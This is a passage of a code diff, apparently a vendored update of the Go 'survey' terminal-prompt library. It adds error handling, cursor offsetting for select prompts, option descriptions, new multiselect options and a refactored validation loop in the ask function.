MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
ShowHelp: m.showingHelp,
PageEntries: opts,
Config: config,
},
)
_ = m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
}
func (m *MultiSelect) filterOptions(config *PromptConfig) []core.OptionAnswer {
@@ -249,31 +264,37 @@ func (m *MultiSelect) Prompt(config *PromptConfig) (interface{}, error) {
opts, idx := paginate(pageSize, core.OptionAnswerList(m.Options), m.selectedIndex)
cursor := m.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
cursor.Save() // for proper cursor placement during selection
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
defer cursor.Restore() // clear any accessibility offsetting on exit
tmplData := MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
PageEntries: opts,
Config: config,
}
// ask the question
err := m.Render(
MultiSelectQuestionTemplate,
MultiSelectTemplateData{
MultiSelect: *m,
SelectedIndex: idx,
Checked: m.checked,
PageEntries: opts,
Config: config,
},
)
err := m.RenderWithCursorOffset(MultiSelectQuestionTemplate, tmplData, opts, idx)
if err != nil {
return "", err
}
rr := m.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
r, _, _ := rr.ReadRune()
r, _, err := rr.ReadRune()
if err != nil {
return "", err
}
if r == '\r' || r == '\n' {
break
}
+9 -4
View File
@@ -44,14 +44,19 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
Config: config,
},
)
fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut)
if err != nil {
return "", err
}
if _, err := fmt.Fprint(terminal.NewAnsiStdout(p.Stdio().Out), userOut); err != nil {
return "", err
}
rr := p.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// no help msg? Just return any response
if p.Help == "" {
@@ -61,7 +66,7 @@ func (p *Password) Prompt(config *PromptConfig) (interface{}, error) {
cursor := p.NewCursor()
line := []rune{}
var line []rune
// process answers looking for help prompt answer
for {
line, err = rr.ReadLine('*')
+49 -10
View File
@@ -7,7 +7,7 @@ import (
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
goterm "golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
type Renderer struct {
@@ -61,7 +61,9 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
}
// send the message to the user
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
return err
}
// add the printed text to the rendered error buffer so we can cleanup later
r.appendRenderedError(layoutOut)
@@ -69,6 +71,14 @@ func (r *Renderer) Error(config *PromptConfig, invalid error) error {
return nil
}
func (r *Renderer) OffsetCursor(offset int) {
cursor := r.NewCursor()
for offset > 0 {
cursor.PreviousLine(1)
offset--
}
}
func (r *Renderer) Render(tmpl string, data interface{}) error {
// cleanup the currently rendered text
lineCount := r.countLines(r.renderedText)
@@ -82,7 +92,9 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
}
// print the summary
fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut)
if _, err := fmt.Fprint(terminal.NewAnsiStdout(r.stdio.Out), userOut); err != nil {
return err
}
// add the printed text to the rendered text buffer so we can cleanup later
r.AppendRenderedText(layoutOut)
@@ -91,6 +103,21 @@ func (r *Renderer) Render(tmpl string, data interface{}) error {
return nil
}
func (r *Renderer) RenderWithCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx int) error {
cursor := r.NewCursor()
cursor.Restore() // clear any accessibility offsetting
if err := r.Render(tmpl, data); err != nil {
return err
}
cursor.Save()
offset := computeCursorOffset(MultiSelectQuestionTemplate, data, opts, idx, r.termWidthSafe())
r.OffsetCursor(offset)
return nil
}
// appendRenderedError appends text to the renderer's error buffer
// which is used to track what has been printed. It is not exported
// as errors should only be displayed via Error(config, error).
@@ -119,26 +146,31 @@ func (r *Renderer) resetPrompt(lines int) {
func (r *Renderer) termWidth() (int, error) {
fd := int(r.stdio.Out.Fd())
termWidth, _, err := goterm.GetSize(fd)
termWidth, _, err := term.GetSize(fd)
return termWidth, err
}
// countLines will return the count of `\n` with the addition of any
// lines that have wrapped due to narrow terminal width
func (r *Renderer) countLines(buf bytes.Buffer) int {
func (r *Renderer) termWidthSafe() int {
w, err := r.termWidth()
if err != nil || w == 0 {
// if we got an error due to terminal.GetSize not being supported
// on current platform then just assume a very wide terminal
w = 10000
}
return w
}
// countLines will return the count of `\n` with the addition of any
// lines that have wrapped due to narrow terminal width
func (r *Renderer) countLines(buf bytes.Buffer) int {
w := r.termWidthSafe()
bufBytes := buf.Bytes()
count := 0
curr := 0
delim := -1
for curr < len(bufBytes) {
var delim int
// read until the next newline or the end of the string
relDelim := bytes.IndexRune(bufBytes[curr:], '\n')
if relDelim != -1 {
@@ -148,8 +180,15 @@ func (r *Renderer) countLines(buf bytes.Buffer) int {
delim = len(bufBytes) // no new line found, read rest of text
}
// account for word wrapping
count += int(utf8.RuneCount(bufBytes[curr:delim]) / w)
if lineWidth := utf8.RuneCount(bufBytes[curr:delim]); lineWidth > w {
// account for word wrapping
count += lineWidth / w
if (lineWidth % w) == 0 {
// content whose width is exactly a multiplier of available width should not
// count as having wrapped on the last line
count -= 1
}
}
curr = delim + 1
}
+67 -34
View File
@@ -28,6 +28,7 @@ type Select struct {
VimMode bool
FilterMessage string
Filter func(filter string, value string, index int) bool
Description func(value string, index int) string
filter string
selectedIndex int
useDefault bool
@@ -42,10 +43,35 @@ type SelectTemplateData struct {
Answer string
ShowAnswer bool
ShowHelp bool
Description func(value string, index int) string
Config *PromptConfig
// These fields are used when rendering an individual option
CurrentOpt core.OptionAnswer
CurrentIndex int
}
// IterateOption sets CurrentOpt and CurrentIndex appropriately so a select option can be rendered individually
func (s SelectTemplateData) IterateOption(ix int, opt core.OptionAnswer) interface{} {
copy := s
copy.CurrentIndex = ix
copy.CurrentOpt = opt
return copy
}
func (s SelectTemplateData) GetDescription(opt core.OptionAnswer) string {
if s.Description == nil {
return ""
}
return s.Description(opt.Value, opt.Index)
}
var SelectQuestionTemplate = `
{{- define "option"}}
{{- if eq .SelectedIndex .CurrentIndex }}{{color .Config.Icons.SelectFocus.Format }}{{ .Config.Icons.SelectFocus.Text }} {{else}}{{color "default"}} {{end}}
{{- .CurrentOpt.Value}}{{ if ne ($.GetDescription .CurrentOpt) "" }} - {{color "cyan"}}{{ $.GetDescription .CurrentOpt }}{{end}}
{{- color "reset"}}
{{end}}
{{- if .ShowHelp }}{{- color .Config.Icons.Help.Format }}{{ .Config.Icons.Help.Text }} {{ .Help }}{{color "reset"}}{{"\n"}}{{end}}
{{- color .Config.Icons.Question.Format }}{{ .Config.Icons.Question.Text }} {{color "reset"}}
{{- color "default+hb"}}{{ .Message }}{{ .FilterMessage }}{{color "reset"}}
@@ -53,10 +79,8 @@ var SelectQuestionTemplate = `
{{- else}}
{{- " "}}{{- color "cyan"}}[Use arrows to move, type to filter{{- if and .Help (not .ShowHelp)}}, {{ .Config.HelpInput }} for more help{{end}}]{{color "reset"}}
{{- "\n"}}
{{- range $ix, $choice := .PageEntries}}
{{- if eq $ix $.SelectedIndex }}{{color $.Config.Icons.SelectFocus.Format }}{{ $.Config.Icons.SelectFocus.Text }} {{else}}{{color "default"}} {{end}}
{{- $choice.Value}}
{{- color "reset"}}{{"\n"}}
{{- range $ix, $option := .PageEntries}}
{{- template "option" $.IterateOption $ix $option}}
{{- end}}
{{- end}}`
@@ -114,8 +138,9 @@ func (s *Select) OnChange(key rune, config *PromptConfig) bool {
} else if key == terminal.KeyDelete || key == terminal.KeyBackspace {
// if there is content in the filter to delete
if s.filter != "" {
runeFilter := []rune(s.filter)
// subtract a line from the current filter
s.filter = s.filter[0 : len(s.filter)-1]
s.filter = string(runeFilter[0 : len(runeFilter)-1])
// we removed the last value in the filter
}
} else if key >= terminal.KeySpace {
@@ -151,17 +176,17 @@ func (s *Select) OnChange(key rune, config *PromptConfig) bool {
// and we have modified the filter then we should move the page back!
opts, idx := paginate(pageSize, options, s.selectedIndex)
tmplData := SelectTemplateData{
Select: *s,
SelectedIndex: idx,
ShowHelp: s.showingHelp,
Description: s.Description,
PageEntries: opts,
Config: config,
}
// render the options
s.Render(
SelectQuestionTemplate,
SelectTemplateData{
Select: *s,
SelectedIndex: idx,
ShowHelp: s.showingHelp,
PageEntries: opts,
Config: config,
},
)
_ = s.RenderWithCursorOffset(SelectQuestionTemplate, tmplData, opts, idx)
// keep prompting
return false
@@ -233,16 +258,23 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
// figure out the options and index to render
opts, idx := paginate(pageSize, core.OptionAnswerList(s.Options), sel)
cursor := s.NewCursor()
cursor.Save() // for proper cursor placement during selection
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
defer cursor.Restore() // clear any accessibility offsetting on exit
tmplData := SelectTemplateData{
Select: *s,
SelectedIndex: idx,
Description: s.Description,
ShowHelp: s.showingHelp,
PageEntries: opts,
Config: config,
}
// ask the question
err := s.Render(
SelectQuestionTemplate,
SelectTemplateData{
Select: *s,
PageEntries: opts,
SelectedIndex: idx,
Config: config,
},
)
err := s.RenderWithCursorOffset(SelectQuestionTemplate, tmplData, opts, idx)
if err != nil {
return "", err
}
@@ -251,12 +283,10 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
s.useDefault = true
rr := s.NewRuneReader()
rr.SetTermMode()
defer rr.RestoreTermMode()
cursor := s.NewCursor()
cursor.Hide() // hide the cursor
defer cursor.Show() // show the cursor when we're done
_ = rr.SetTermMode()
defer func() {
_ = rr.RestoreTermMode()
}()
// start waiting for input
for {
@@ -316,13 +346,16 @@ func (s *Select) Prompt(config *PromptConfig) (interface{}, error) {
}
func (s *Select) Cleanup(config *PromptConfig, val interface{}) error {
cursor := s.NewCursor()
cursor.Restore()
return s.Render(
SelectQuestionTemplate,
SelectTemplateData{
Select: *s,
Answer: val.(core.OptionAnswer).Value,
ShowAnswer: true,
Config: config,
Select: *s,
Answer: val.(core.OptionAnswer).Value,
ShowAnswer: true,
Description: s.Description,
Config: config,
},
)
}
+115 -53
View File
@@ -1,10 +1,12 @@
package survey
import (
"bytes"
"errors"
"io"
"os"
"strings"
"unicode/utf8"
"github.com/AlecAivazis/survey/v2/core"
"github.com/AlecAivazis/survey/v2/terminal"
@@ -54,7 +56,10 @@ func defaultAskOptions() *AskOptions {
// include this option if it matches
return strings.Contains(strings.ToLower(value), filter)
},
KeepFilter: false,
KeepFilter: false,
ShowCursor: false,
RemoveSelectAll: false,
RemoveSelectNone: false,
},
}
}
@@ -108,12 +113,15 @@ type Question struct {
// PromptConfig holds the global configuration for a prompt
type PromptConfig struct {
PageSize int
Icons IconSet
HelpInput string
SuggestInput string
Filter func(filter string, option string, index int) bool
KeepFilter bool
PageSize int
Icons IconSet
HelpInput string
SuggestInput string
Filter func(filter string, option string, index int) bool
KeepFilter bool
ShowCursor bool
RemoveSelectAll bool
RemoveSelectNone bool
}
// Prompt is the primary interface for the objects that can take user input
@@ -171,6 +179,22 @@ func WithKeepFilter(KeepFilter bool) AskOpt {
}
}
// WithRemoveSelectAll remove the select all option in Multiselect
func WithRemoveSelectAll() AskOpt {
return func(options *AskOptions) error {
options.PromptConfig.RemoveSelectAll = true
return nil
}
}
// WithRemoveSelectNone remove the select none/unselect all in Multiselect
func WithRemoveSelectNone() AskOpt {
return func(options *AskOptions) error {
options.PromptConfig.RemoveSelectNone = true
return nil
}
}
// WithValidator specifies a validator to use while prompting the user
func WithValidator(v Validator) AskOpt {
return func(options *AskOptions) error {
@@ -219,6 +243,17 @@ func WithIcons(setIcons func(*IconSet)) AskOpt {
}
}
// WithShowCursor sets the show cursor behavior when prompting the user
func WithShowCursor(ShowCursor bool) AskOpt {
return func(options *AskOptions) error {
// set the page size
options.PromptConfig.ShowCursor = ShowCursor
// nothing went wrong
return nil
}
}
/*
AskOne performs the prompt for a single prompt and asks for validation if required.
Response types should be something that can be casted from the response type designated
@@ -282,6 +317,20 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
return errors.New("cannot call Ask() with a nil reference to record the answers")
}
validate := func(q *Question, val interface{}) error {
if q.Validate != nil {
if err := q.Validate(val); err != nil {
return err
}
}
for _, v := range options.Validators {
if err := v(val); err != nil {
return err
}
}
return nil
}
// go over every question
for _, q := range qs {
// If Prompt implements controllable stdio, pass in specified stdio.
@@ -289,46 +338,28 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
p.WithStdio(options.Stdio)
}
// grab the user input and save it
ans, err := q.Prompt.Prompt(&options.PromptConfig)
// if there was a problem
if err != nil {
return err
}
// build up a list of validators that we have to apply to this question
validators := []Validator{}
// make sure to include the question specific one
if q.Validate != nil {
validators = append(validators, q.Validate)
}
// add any "global" validators
for _, validator := range options.Validators {
validators = append(validators, validator)
}
// apply every validator to thte response
for _, validator := range validators {
// wait for a valid response
for invalid := validator(ans); invalid != nil; invalid = validator(ans) {
err := q.Prompt.Error(&options.PromptConfig, invalid)
// if there was a problem
if err != nil {
return err
}
// ask for more input
if promptAgainer, ok := q.Prompt.(PromptAgainer); ok {
ans, err = promptAgainer.PromptAgain(&options.PromptConfig, ans, invalid)
} else {
ans, err = q.Prompt.Prompt(&options.PromptConfig)
}
// if there was a problem
if err != nil {
var ans interface{}
var validationErr error
// prompt and validation loop
for {
if validationErr != nil {
if err := q.Prompt.Error(&options.PromptConfig, validationErr); err != nil {
return err
}
}
var err error
if promptAgainer, ok := q.Prompt.(PromptAgainer); ok && validationErr != nil {
ans, err = promptAgainer.PromptAgain(&options.PromptConfig, ans, validationErr)
} else {
ans, err = q.Prompt.Prompt(&options.PromptConfig)
}
if err != nil {
return err
}
validationErr = validate(q, ans)
if validationErr == nil {
break
}
}
if q.Transform != nil {
@@ -341,21 +372,14 @@ func Ask(qs []*Question, response interface{}, opts ...AskOpt) error {
}
// tell the prompt to cleanup with the validated value
q.Prompt.Cleanup(&options.PromptConfig, ans)
// if something went wrong
if err != nil {
// stop listening
if err := q.Prompt.Cleanup(&options.PromptConfig, ans); err != nil {
return err
}
// add it to the map
err = core.WriteAnswer(response, q.Name, ans)
// if something went wrong
if err != nil {
if err := core.WriteAnswer(response, q.Name, ans); err != nil {
return err
}
}
// return the response
@@ -398,3 +422,41 @@ func paginate(pageSize int, choices []core.OptionAnswer, sel int) ([]core.Option
// return the subset we care about and the index
return choices[start:end], cursor
}
type IterableOpts interface {
IterateOption(int, core.OptionAnswer) interface{}
}
func computeCursorOffset(tmpl string, data IterableOpts, opts []core.OptionAnswer, idx, tWidth int) int {
tmpls, err := core.GetTemplatePair(tmpl)
if err != nil {
return 0
}
t := tmpls[0]
renderOpt := func(ix int, opt core.OptionAnswer) string {
var buf bytes.Buffer
_ = t.ExecuteTemplate(&buf, "option", data.IterateOption(ix, opt))
return buf.String()
}
offset := len(opts) - idx
for i, o := range opts {
if i < idx {
continue
}
renderedOpt := renderOpt(i, o)
valWidth := utf8.RuneCount([]byte(renderedOpt))
if valWidth > tWidth {
splitCount := valWidth / tWidth
if valWidth%tWidth == 0 {
splitCount -= 1
}
offset += splitCount
}
}
return offset
}
+54 -35
View File
@@ -1,3 +1,4 @@
//go:build !windows
// +build !windows
package terminal
@@ -21,79 +22,99 @@ type Cursor struct {
}
// Up moves the cursor n cells to up.
func (c *Cursor) Up(n int) {
fmt.Fprintf(c.Out, "\x1b[%dA", n)
func (c *Cursor) Up(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dA", n)
return err
}
// Down moves the cursor n cells to down.
func (c *Cursor) Down(n int) {
fmt.Fprintf(c.Out, "\x1b[%dB", n)
func (c *Cursor) Down(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dB", n)
return err
}
// Forward moves the cursor n cells to right.
func (c *Cursor) Forward(n int) {
fmt.Fprintf(c.Out, "\x1b[%dC", n)
func (c *Cursor) Forward(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dC", n)
return err
}
// Back moves the cursor n cells to left.
func (c *Cursor) Back(n int) {
fmt.Fprintf(c.Out, "\x1b[%dD", n)
func (c *Cursor) Back(n int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dD", n)
return err
}
// NextLine moves cursor to beginning of the line n lines down.
func (c *Cursor) NextLine(n int) {
fmt.Fprintf(c.Out, "\x1b[%dE", n)
func (c *Cursor) NextLine(n int) error {
if err := c.Down(1); err != nil {
return err
}
return c.HorizontalAbsolute(0)
}
// PreviousLine moves cursor to beginning of the line n lines up.
func (c *Cursor) PreviousLine(n int) {
fmt.Fprintf(c.Out, "\x1b[%dF", n)
func (c *Cursor) PreviousLine(n int) error {
if err := c.Up(1); err != nil {
return err
}
return c.HorizontalAbsolute(0)
}
// HorizontalAbsolute moves cursor horizontally to x.
func (c *Cursor) HorizontalAbsolute(x int) {
fmt.Fprintf(c.Out, "\x1b[%dG", x)
func (c *Cursor) HorizontalAbsolute(x int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%dG", x)
return err
}
// Show shows the cursor.
func (c *Cursor) Show() {
fmt.Fprint(c.Out, "\x1b[?25h")
func (c *Cursor) Show() error {
_, err := fmt.Fprint(c.Out, "\x1b[?25h")
return err
}
// Hide hide the cursor.
func (c *Cursor) Hide() {
fmt.Fprint(c.Out, "\x1b[?25l")
func (c *Cursor) Hide() error {
_, err := fmt.Fprint(c.Out, "\x1b[?25l")
return err
}
// Move moves the cursor to a specific x,y location.
func (c *Cursor) Move(x int, y int) {
fmt.Fprintf(c.Out, "\x1b[%d;%df", x, y)
// move moves the cursor to a specific x,y location.
func (c *Cursor) move(x int, y int) error {
_, err := fmt.Fprintf(c.Out, "\x1b[%d;%df", x, y)
return err
}
// Save saves the current position
func (c *Cursor) Save() {
fmt.Fprint(c.Out, "\x1b7")
func (c *Cursor) Save() error {
_, err := fmt.Fprint(c.Out, "\x1b7")
return err
}
// Restore restores the saved position of the cursor
func (c *Cursor) Restore() {
fmt.Fprint(c.Out, "\x1b8")
func (c *Cursor) Restore() error {
_, err := fmt.Fprint(c.Out, "\x1b8")
return err
}
// for comparability purposes between windows
// in unix we need to print out a new line on some terminals
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) {
func (c *Cursor) MoveNextLine(cur *Coord, terminalSize *Coord) error {
if cur.Y == terminalSize.Y {
fmt.Fprintln(c.Out)
if _, err := fmt.Fprintln(c.Out); err != nil {
return err
}
}
c.NextLine(1)
return c.NextLine(1)
}
// Location returns the current location of the cursor in the terminal
func (c *Cursor) Location(buf *bytes.Buffer) (*Coord, error) {
// ANSI escape sequence for DSR - Device Status Report
// https://en.wikipedia.org/wiki/ANSI_escape_code#CSI_sequences
fmt.Fprint(c.Out, "\x1b[6n")
if _, err := fmt.Fprint(c.Out, "\x1b[6n"); err != nil {
return nil, err
}
// There may be input in Stdin prior to CursorLocation so make sure we don't
// drop those bytes.
@@ -167,11 +188,14 @@ func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
// hide the cursor (so it doesn't blink when getting the size of the terminal)
c.Hide()
defer c.Show()
// save the current location of the cursor
c.Save()
defer c.Restore()
// move the cursor to the very bottom of the terminal
c.Move(999, 999)
c.move(999, 999)
// ask for the current location
bottom, err := c.Location(buf)
@@ -179,11 +203,6 @@ func (c *Cursor) Size(buf *bytes.Buffer) (*Coord, error) {
return nil, err
}
// move back where we began
c.Restore()
// show the cursor
c.Show()
// since the bottom was calculated in the lower right corner, it
// is the dimensions we are looking for
return bottom, nil
Loaded 100 of 1188 files, more files were not shown because too many files have changed in this diff. Show more